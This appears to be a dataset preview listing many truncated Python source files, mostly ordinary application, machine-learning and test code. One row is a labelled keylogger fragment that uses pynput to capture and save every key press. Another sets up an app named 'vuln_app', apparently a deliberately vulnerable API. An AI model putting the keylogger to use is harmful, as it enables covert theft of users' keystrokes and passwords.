text stringlengths 2 999k |
|---|
from django import forms
from .models import GameState, RoundState, Game, Player, WordCard, Sentence, PlayerName
import re
class GameStateForm(forms.ModelForm):
class Meta:
model = GameState
fields = ['name']
exclude = []
widgets = None
localized_fields = None
label... |
# Copyright 2016-2018 Scality
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
##
# This program processes a file containing a count followed by data values.
# If the file doesn't exist or the format is incorrect, you can specify another file.
#
import re
def main() :
done = False
while not done :
try :
filename = input("Please enter the file name: ")
data = read... |
import random
from player import Player
import matplotlib.pyplot as plt
from matplotlib.widgets import Slider, Button, RadioButtons
from matplotlib.animation import FuncAnimation
def dist(a, b):
values = []
for _a, _b in zip(a, b):
if _a is not None and _b is not None:
values.append(abs(... |
"""Support of Philips Hue Play HDMI Sync Box as mediaplayer"""
import asyncio
from datetime import timedelta
import textwrap
import aiohuesyncbox
import async_timeout
from homeassistant.components.light import ATTR_BRIGHTNESS, ATTR_BRIGHTNESS_STEP
from homeassistant.components.media_player import MediaPlayerEntity
fro... |
from model.creator.creator import Creator
from datetime import date
class DocumentoController:
def __init__(self):
pass
@staticmethod
def getDocumento(nome, caminho, tipo, data):
try:
arquivo = open(caminho, "r")
except FileNotFoundError:
raise FileNotFou... |
# Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... |
import torch
from torch import nn
from .attention import CustomMultiHeadAttention
from .blocks import PositionwiseFeedForward, CustomLayerNorm
from .position_layers import PositionEncoding
class CustomEncoderLayer(nn.Module):
def __init__(self, dim, n_head, ffn_hidden=None, dropout=0.0):
"""
Encod... |
##################################################
# Copyright (c) Xuanyi Dong [GitHub D-X-Y], 2019 #
##################################################
import os, sys, time, torch
# modules in AutoDL
from log_utils import AverageMeter, time_string
from models import change_key
from .eval_funcs import obtain_accuracy
... |
"""Second quick script to analyze the original method of evaluating agreement predictions."""
import os
import numpy as np
import pandas as pd
from tqdm import tqdm
from filenames import CLOZE_DIR, FEATURES_DIR, PROBABILITIES_DIR
cols = ["number", "gender", "case", "person"]
languages = os.listdir(PROBABILITIES_DIR... |
import random
import os
from urllib.parse import urlparse, parse_qs
import psycopg2
import sys
import time
import yaml
def parse_conf(conf_path):
with open(conf_path, 'r') as f:
conf = yaml.load(f)
uri = conf['inputURI']
uri = uri[uri.find(':')+1:]
u = urlparse(uri)
query = parse_qs(u.quer... |
from flask import render_template,redirect,url_for, flash,request
from . import auth
from ..models import User,Blog,Comment
from .forms import RegistrationForm,LoginForm
from ..import db
from flask_login import login_user,logout_user,login_required
from ..email import mail_message
@auth.route('/register',methods = ["... |
#---import required modules
import requests
from tkinter import *
import tkinter as tk
from tkinter import ttk
from matplotlib.backends.backend_tkagg import (FigureCanvasTkAgg,NavigationToolbar2Tk)
from matplotlib.figure import Figure
import base64
import calc
from datetime import (datetime, date)
#----creating the m... |
import requests
from bs4 import BeautifulSoup
from utils import write_data
def get_data(url):
html = requests.get(url).text
soup = BeautifulSoup(html, 'html.parser')
updated = soup.select('.timetable > .info > span')[0].text # 업데이트날짜
data = soup.select('.rpsa_detail > div > div')
data.pop()
... |
# Copyright (c) 2013 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... |
# coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
class ReelscoutPipeline(object):
def process_item(self, item, spider):
return item
|
import setuptools
VERSION = '0.2.15'
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="openagua-engine",
version=VERSION,
license="MIT",
author="David Rheinheimer",
author_email="david.rheinheimer@tec.mx",
description="Tools to conne... |
import sys
import argparse
import torch
import glob
import collections
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image
from torchvision.models import vgg16
from torchvision import transforms
plt.rcParams["font.size"] = 16
images_db = collections.defaultdict(set)
def clas... |
import os
import cv2
import numpy as np
import numpy
import pandas as pd
import nibabel as nib
import torch.optim as optim
import random
import torch
from torch.nn import BCELoss, NLLLoss, BCEWithLogitsLoss, MSELoss, ModuleList, ReplicationPad2d
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd ... |
"""
Author: Tong
Time: --2021
"""
import json
import numpy as np
with open("data/webred/webred_21.json", "r") as file_in:
original_data = json.load(file_in)
# process data into <x, y>
_pair_data = []
for item in original_data:
_pair_data.append([item['sentence'], item['relation_name']])
pass
len_ = []
for... |
from sqlalchemy.testing import eq_, assert_raises_message, assert_raises, \
is_, in_, not_in_
from sqlalchemy import testing
from sqlalchemy.testing import fixtures, engines
from sqlalchemy import util
from sqlalchemy import (
exc, sql, func, select, String, Integer, MetaData, and_, ForeignKey,
union, inter... |
# http://codingbat.com/prob/p164876
def cat_dog(str):
cat_count = 0
dog_count = 0
for i in range(len(str)-2):
if str[i:i+3] == "cat":
cat_count += 1
elif str[i:i+3] == "dog":
dog_count += 1
return (cat_count == dog_count)
|
#!/usr/bin/env python
###############################################################################
#
# ptgraph2.py - generate protein topology graphs from PDB atomic co-ordinates
# plus STRIDE or DSSP information.
#
# File: ptgraph2.py
# Author: Alex Stivala
# Created: July 2007
#
# $Id: ptgraph2.py 4642 2013-04... |
import unittest
import stomp
from stomp.test.testutils import *
class TestRabbitMQSend(unittest.TestCase):
def setUp(self):
pass
def testbasic(self):
conn = stomp.Connection(get_rabbitmq_host(), 'guest', 'guest')
listener = TestListener('123')
conn.set_listener('', listener)... |
# -*- coding: utf-8 -*-
'''
Copyright (c) 2016, Virginia Tech
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of condi... |
# coding=utf-8
# Copyright 2018 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
"""
Generate docs based on rst.
"""
from navio_tasks.cli_commands import (
check_command_exists,
config_pythonpath,
execute_with_environment,
)
from navio_tasks.settings import VENV_SHELL
from navio_tasks.utils import inform
def do_docs() -> str:
"""
Generate docs based on rst.
"""
check_c... |
import argparse
import torch
import numpy as np
import torch.nn.functional as F
from torch.utils.data import DataLoader
from torch_sparse import SparseTensor
from torch_geometric.data import GraphSAINTRandomWalkSampler
from torch_geometric.nn import GCNConv
from torch_geometric.utils import to_undirected, degree
fro... |
from celery import shared_task
from .consumer import receive
@shared_task
def send_summary():
receive()
|
# coding=utf-8
# encoding=utf-8
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from passlib.hash import bcrypt_sha256
from app.utils import get_time_stamp
app = Flask(__name__)
app.config.from_object('app.config.Config')
db = SQLAlchemy() # type: SQLAlchemy
class Data(db.Model):
id = db.Column... |
'''
Created on 5.10.2010.
@author: Tin Franovic
'''
from Tkinter import *
from PIL import Image, ImageTk
def do_animation(currentframe):
def do_image():
wrap.create_image(50,50,image=frame[currentframe])
try:
do_image()
except IndexError:
current... |
from os.path import join
from fastapi import FastAPI, Request
from fastapi.responses import RedirectResponse
from .api.v1.main import api as api_v1
app = FastAPI(docs_url=None, redoc_url=None)
app.mount("/api/v1", api_v1)
@app.get("/", include_in_schema=False)
def index(request: Request):
return RedirectRespo... |
# coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
import os
import connexion
from flask_sqlalchemy import SQLAlchemy
vuln_app = connexion.App(__name__, specification_dir='./openapi_specs')
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(vuln_app.root_path, 'database/database.db')
vuln_app.app.config['SQLALCHEMY_DATABASE_URI'] = SQLALCHEMY_DATABASE_URI
vuln_app... |
from .rpc_backends import *
from .rpc_batch import *
from .rpc_constructors import *
from .rpc_digestors import *
from .rpc_executors import *
from .rpc_executors_async import *
from .rpc_format import *
from .rpc_lifecycle import *
from .rpc_provider import *
from .rpc_registry import *
from .rpc_request import *
fro... |
import numpy as np
import funcs as fun
from plotly.subplots import make_subplots
import plotly.graph_objects as go
from dash import Dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Output, Input
app = Dash(__name__)
#Layout Data
p1 = dict({'ss':'Slit Width = ',... |
#!/usr/bin/python
import sys, os, re
import sequence_basics, aligner_basics, sam_basics, genepred_basics
# Pre: <genome> - A fasta of the genome we are working with
# <uniquely named short reads file> - can be generated by ./make_uniquely_named_short_read_file.py
# c... |
import torch.nn as nn
import math
import torch.utils.model_zoo as model_zoo
import modified_linear
def conv3x3(in_planes, out_planes, stride=1):
"""3x3 convolution with padding"""
return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
padding=1, bias=False)
class BasicBloc... |
# -*- coding: utf-8 -*-
from ccxt.bittrex import bittrex
import math
from ccxt.base.errors import AuthenticationError
from ccxt.base.errors import InsufficientFunds
from ccxt.base.errors import InvalidOrder
from ccxt.base.errors import DDoSProtection
class bleutrade (bittrex):
def describe(self):
return... |
"""Counts the time of transferring an object to the queue and reading it from it.
Compares different implementations: torch tensor, numpy array, with and without shared memory.
Run: `python -m tests.perf.queue_transfer`
"""
import multiprocessing as mp
import time
from multiprocessing import Queue
import logging
impo... |
import pandas as pd
import numpy as np
import warnings
import io
import itertools
import yaml
import math
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
import os
# read csv data
#df = pd.read_excel('./assessment/output/fig2.9_data_table.xlsx')
df = pd.read_csv('./assessment/output/Combine... |
from django.db import models
from git import Repo
import git
import shutil
import os
import json
def abs_path(path):
return os.path.abspath(os.path.join(os.path.dirname(__file__), '..', path))
env = {
'config101': abs_path('../101worker/configs/production.json'),
'config101schema': abs_path('../101worker... |
"""
Helper functions.
Source -> https://github.com/jrosebr1/imutils/blob/master/imutils/video/webcamvideostream.py
"""
import datetime
import io
from PIL import Image
import yaml
DATETIME_STR_FORMAT = "%Y-%m-%d_%H:%M:%S.%f"
def pil_image_to_byte_array(image):
imgByteArr = io.BytesIO()
image.save(imgByteArr,... |
import random
from IPython.core.display import display, HTML
from IPython.display import clear_output
board = [
"┌───┬───┬───┐",
"│ 7 │ 8 │ 9 │",
"├───┼───┼───┤",
"│ 4 │ 5 │ 6 │",
"├───┼───┼───┤",
"│ 1 │ 2 │ 3 │",
"└───┴───┴───┘"
]
class Card:
def __init__(self, suit, rank, values, i... |
from django_redis import get_redis_connection
from utils import myjson
def merge_cart_cookie_to_redis(request, user_id, response):
"""
合并购物车数据到redis中
:param request: 用于读取cookie信息
:param user: 当前登陆用户
:param response: 响应对象,清除cookie数据
:return:
"""
# 获取cookie中购物车信息
cart_str = request.... |
# -*- coding: utf-8 -*-
"""
Created on Thu Feb 27 20:14:02 2014
@author: Julian
calculating the physics of a reusable rocket with controlled powered return capability
Initial Vehicle input is retrieved from reqs.dat
"""
import numpy as np
import matplotlib.pyplot as plt
input_data = np.genfromtxt('reqs... |
#!/usr/bin/env python
import os
import json
import logging
import numpy as np
import tensorflow as tf
from tensorflow.contrib import rnn
from cell import dnn_cell
def main():
trainRnnModel = TrainRnnModel()
trainRnnModel.train()
class TrainRnnModel(object):
def __init__(self):
self.name_variabel_map = ... |
#!/usr/bin/env python2.6
'''
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"Licens... |
#=====================================================================#
#
# Created by M.A. Bessa on 12-Nov-2019 03:54:04
#=====================================================================#
from abaqusConstants import *
from odbAccess import *
import os
import numpy
import collections
#
os.chdir(r'/home/gkus/F3DAS-... |
#!/usr/bin/env python2
# Copyright (c) 2015 The Bitcoin Core developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
from test_framework.mininode import *
from test_framework.test_framework import BitcoinTestFramework
fro... |
import os
import time
from PIL import Image, ImageFilter
directory = "images"
image_files = os.listdir(directory)
dir_save = "thumbnails"
t1 = time.perf_counter()
size = (1200, 1200)
for f in image_files:
image = Image.open(os.path.join(directory, f))
image = image.filter(ImageFilter.GaussianBlur(radius=15... |
"""Aprendendo a extrair dados da API da RIOT."""
# 20 requests every 1 seconds(s)
# 100 requests every 2 minutes(s)
URL = {
'base_summoner': 'https://{region}.api.riotgames.com/lol/summoner/{url}',
'base_matchlist': 'https://{region}.api.riotgames.com/lol/match/{url}',
'base_matchPerChamp': 'https://{regi... |
# -*- coding: utf-8 -*-
# This code is part of Qiskit.
#
# (C) Copyright IBM 2017, 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any... |
# -*- coding: utf-8 -*-
"""Tools for working with epoched data."""
# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# Matti Hämäläinen <msh@nmr.mgh.harvard.edu>
# Daniel Strohmeier <daniel.strohmeier@tu-ilmenau.de>
# Denis Engemann <denis.engemann@gmail.com>
# Mainak Jas... |
import os
for root, dirs, files in os.walk('.'):
for name in files:
if name.endswith('.py'):
continue
klass, weapon, desc = name.split('-')
if klass[-1] not in ('0', '5'):
new_klass = klass + '0'
else:
new_klass = klass
new_name... |
"""game.py - module for playing a game on the game board."""
from typing import Union
from connect_four.game_board import GameBoard
from connect_four.game_board import GamePiece
class Game:
"""Game - manage the playing of a Connect Four game."""
def __init__(self) -> None:
"""Initialize a new game."... |
#!/usr/bin/env python3
# Copyright (c) 2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the deriveaddresses rpc call."""
from test_framework.test_framework import BitcoinTestFramework
from te... |
#!/usr/bin/env python3
import urllib.request
import yaml
import sys
#This program takes in as an argument a reference to a yaml file. It will then scan through the file looking for
# #particular tags, and then upon finding those tags, replacing them with text from other yaml files of a given address
#This function ac... |
import re
import copy
from typing import Union, Optional, List
from .exceptions import BadStatement
from .aux_classes import Stack, StackFrame
### Grouping
from .regex_classes import SetOfLiterals
from .regex_classes import Capture, Group
### Quatifiers
from .regex_classes import OptionalQ
from .regex_classes import ze... |
from rest_framework.settings import APISettings
from django.conf import settings
import os
USER_SETTINGS = getattr(settings, 'REST_CAPTCHA', None)
FONT_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), 'fonts/Vera.ttf')
DEFAULTS = {
'CAPTCHA_CACHE': 'default',
'CAPTCHA_TIMEOUT': 300, # 5... |
# write tests for parsers
from seqparser import (
FastaParser,
FastqParser)
def test_freebie_parser_1():
"""
This one is a freebie
DO NOT MODIFY THIS FUNCTION
"""
assert True
def test_freebie_parser_2():
"""
This too is a freebie
DO NOT MODIFY THIS FUNCTION
"""
... |
"""Terra Money FCD model"""
__docformat__ = "numpy"
import logging
import textwrap
from datetime import datetime
from typing import Any, Tuple, Dict
import pandas as pd
import requests
from gamestonk_terminal.cryptocurrency.dataframe_helpers import (
denominate_number,
prettify_column_names,
replace_unic... |
#!/usr/bin/env python3
"""A simple calculator"""
from get_integer_from_user import get_integer
from get_float_from_user import get_float
from get_positive_number_from_user import get_positive_num
from primality_check import is_prime
from gcd_program import gcd_recursive
from get_integer_in_range import get_int_in_range... |
# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... |
# coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: v1.20.7
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unitte... |
#!/usr/bin/env python
from __future__ import absolute_import, division, print_function
from mpi4py import MPI
import os, sys, glob, time
import numpy as np
import fitsio
def merge_table_data(infiles, ext=1):
'''
Merge the tables in HDU 1 of a set of input files
'''
data = [fitsio.read(x, ext) for x ... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2017-05-17 07:14
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Bookin... |
from unittest import TestCase
from tests import get_data
from pytezos.michelson.converter import build_schema, decode_micheline, encode_micheline, micheline_to_michelson
class StorageTestKT1EEy8eRbcw8Qq2nzioviwgEeKiaftqNqtv(TestCase):
@classmethod
def setUpClass(cls):
cls.maxDiff = None
cls.... |
from django.urls import path
from .views import ContactsView, HomeView
urlpatterns = [
path('', HomeView.as_view(), name='home'),
path('contacts/', ContactsView.as_view(), name='contacts')
]
|
# conditional tests
car = 'bmw' # assignment operator
car == 'bmw' # relational operator
# ingnoring a case when making a comparision
car = 'Audi'
car.lower() == 'audi' # True
# checking for inequality
topping = 'mushrooms'
topping != 'anchovies' # True
# numerical comparison
age = 18
age == 18 # true
age != 18... |
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @lint-avoid-python-3-compatibility-imports
#
# zfsdist Summarize ZFS operation latency.
# For Linux, uses BCC, eBPF.
#
# USAGE: zfsdist [-h] [-T] [-m] [-p PID] [interval] [count]
#
# Copyright 2016 Netflix, Inc.
# Licensed under the Apache License, Version 2.0 (... |
# Protocol Buffers - Google's data interchange format
# Copyright 2008 Google Inc. All rights reserved.
# https://developers.google.com/protocol-buffers/
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redi... |
from functools import partial
import warnings
import numpy as np
import pandas as pd
import bioframe
from .lib.numutils import LazyToeplitz
def make_bin_aligned_windows(
binsize, chroms, centers_bp, flank_bp=0, region_start_bp=0, ignore_index=False
):
"""
Convert genomic loci into bin spans on a fixed b... |
from django.contrib import admin
from .models import Member,ClusterName,Loan,LoanSchedulePayments,LoanPayment,File
admin.site.register(Member)
admin.site.register(ClusterName)
admin.site.register(Loan)
admin.site.register(LoanSchedulePayments)
admin.site.register(LoanPayment)
admin.site.register(File)
# Register yo... |
""" Constants for annotations in the mapping.
The constants defined here are used to annotate the mapping tuples in cuda_to_hip_mappings.py.
They are based on
https://github.com/ROCm-Developer-Tools/HIP/blob/master/hipify-clang/src/Statistics.h
and fall in three categories: 1) type of mapping, 2) API of mapping, 3)... |
# -*- coding: utf-8 -*-
"""
@date: 2021/7/20 下午10:19
@file: __init__.py.py
@author: zj
@description:
"""
|
import unittest
import torch
import logging
from openspeech.models import ListenAttendSpellWithLocationAwareModel, ListenAttendSpellWithLocationAwareConfigs
from openspeech.tokenizers.ksponspeech.character import KsponSpeechCharacterTokenizer
from openspeech.utils import (
DUMMY_INPUTS,
DUMMY_INPUT_LENGTHS,
... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
from django.urls import path
from .views import (Bookmarkarticle,
ListBookmarkedArticles)
app_name = "bookmarks"
urlpatterns = [
path("bookmarks/articles/",
ListBookmarkedArticles.as_view(),
name="view_bookmarked_articles"),
path('articles/<slug>/bookmarks/',
Bo... |
# coding: utf-8
"""
LUSID API
FINBOURNE Technology # noqa: E501
The version of the OpenAPI document: 0.11.4425
Contact: info@finbourne.com
Generated by: https://openapi-generator.tech
"""
try:
from inspect import getfullargspec
except ImportError:
from inspect import getargspec as getf... |
# -*- coding: utf-8 -*-
# @Author : William
# @Project : TextGAN-william
# @FileName : instructor.py
# @Time : Created at 2019-04-25
# @Blog : http://zhiweil.ml/
# @Description :
# Copyrights (C) 2018. All Rights Reserved.
import torch
import torch.nn as nn
import config as cfg
from u... |
"""Mysql wrappers to execute mysql statements.
The default behaviour depends on the configuration module which contains the
database settings to use.
"""
from contextlib import contextmanager
from functools import wraps
import logging
import MySQLdb
from helot_common import configuration
@contextmanager
def db_conn... |
import pytest
import torch
import segmentation_models_pytorch as smp
import segmentation_models_pytorch.losses._functional as F
from segmentation_models_pytorch.losses import (
DiceLoss,
JaccardLoss,
SoftBCEWithLogitsLoss,
SoftCrossEntropyLoss,
TverskyLoss,
)
def test_focal_loss_with_logits():
... |
from setuptools import setup, find_packages
packages_ = find_packages()
packages = [p for p in packages_ if not(p == 'tests')]
setup(name='microgridRLsimulator',
version='',
description='',
url='',
author='',
author_email='',
license='',
packages=packages,
install_requi... |
import collections
import logging
from base64 import b64encode
from django.conf import settings
from kubernetes import client, config
from django.utils.functional import cached_property
from awx.main.utils.common import parse_yaml_or_json
from awx.main.utils.execution_environments import get_default_pod_spec
logger ... |
#! /usr/bin/python
# -*- coding: iso-8859-1 -*-
# Copyright (C) 2014 Dr. Ralf Schlatterbeck Open Source Consulting.
# Reichergasse 131, A-3411 Weidling.
# Web: http://www.runtux.com Email: office@runtux.com
# All rights reserved
# ****************************************************************************
# This progr... |
from datetime import datetime
from os import listdir
import pandas
from application_logging.logger import App_Logger
class dataTransform:
"""
This class shall be used for transforming the Good Raw Training Data before loading it in Database!!.
Written By: iNeuron Intelligence
... |
from freezegun import freeze_time
import sure # noqa # pylint: disable=unused-import
from moto.swf.models import HistoryEvent
@freeze_time("2015-01-01 12:00:00")
def test_history_event_creation():
he = HistoryEvent(123, "DecisionTaskStarted", scheduled_event_id=2)
he.event_id.should.equal(123)
he.event_... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
########
# Copyright (c) 2015 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... |
# Keylogger by Mahesh Sawant.
import pynput
from pynput.keyboard import Key,Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count+=1
print("{0} pressed".format(key))
if count >= 1:
count = 0
write_file(keys)
keys ... |
import tflib as lib
from sn import spectral_normed_weight
import numpy as np
import tensorflow as tf
_default_weightnorm = False
def enable_default_weightnorm():
global _default_weightnorm
_default_weightnorm = True
_weights_stdev = None
def set_weights_stdev(weights_stdev):
global _weights_stdev
_wei... |
import pytest
from monero_client.monero_types import SigType, Keys
@pytest.mark.incremental
class TestSignature:
"""Monero signature test."""
@staticmethod
@pytest.fixture(autouse=True, scope="class")
def state():
sender = Keys(
public_view_key=bytes.fromhex("865cbfab852a1d1ccdfc... |
import unittest
from collections import OrderedDict
from mock import ANY, Mock
from malcolm.core import (
Alarm,
BooleanMeta,
ChoiceMeta,
NumberMeta,
Process,
Queue,
StringMeta,
Subscribe,
TimeStamp,
)
from malcolm.modules.pandablocks.controllers.pandablockcontroller import (
P... |
import sublime, sublime_plugin
import re
class CreateCssCommand(sublime_plugin.WindowCommand):
def run(self):
# gets current html file
htmlFileName = self.window.active_view().file_name()
if htmlFileName[-4:] == 'html':
htmlFile = open(htmlFileName)
c... |
from sqlalchemy import bindparam
from sqlalchemy import column
from sqlalchemy import exc
from sqlalchemy import exists
from sqlalchemy import ForeignKey
from sqlalchemy import func
from sqlalchemy import Integer
from sqlalchemy import literal
from sqlalchemy import MetaData
from sqlalchemy import select
from sqlalchem... |
#doc2vector
import csv
import pandas as pd
import numpy as np
from sklearn import svm
from sklearn.feature_extraction import text
from sklearn.cross_validation import train_test_split
from sklearn import metrics
from sklearn.metrics import roc_curve,auc,f1_score
import matplotlib.pyplot as plt
from gensim.m... |
from flask import Blueprint, request
from flask_jwt_extended import jwt_required
from utils.custom_exception import InvalidUsage
from utils.esconn import ESConn, GroupByParams
from utils.response import set_response
from utils.constants import ES_TERMS_AGGR_SIZE, REPORT_INDEX, TIME_UNIT_MAPPING
reports_api = Blueprint... |
import uuid
from typing import Optional, Sequence
import asyncpg
from pypika import Parameter
from pypika.terms import Term
from tortoise import Model
from tortoise.backends.base.executor import BaseExecutor
from tortoise.contrib.postgres.json_functions import (
postgres_json_contained_by,
postgres_json_conta... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.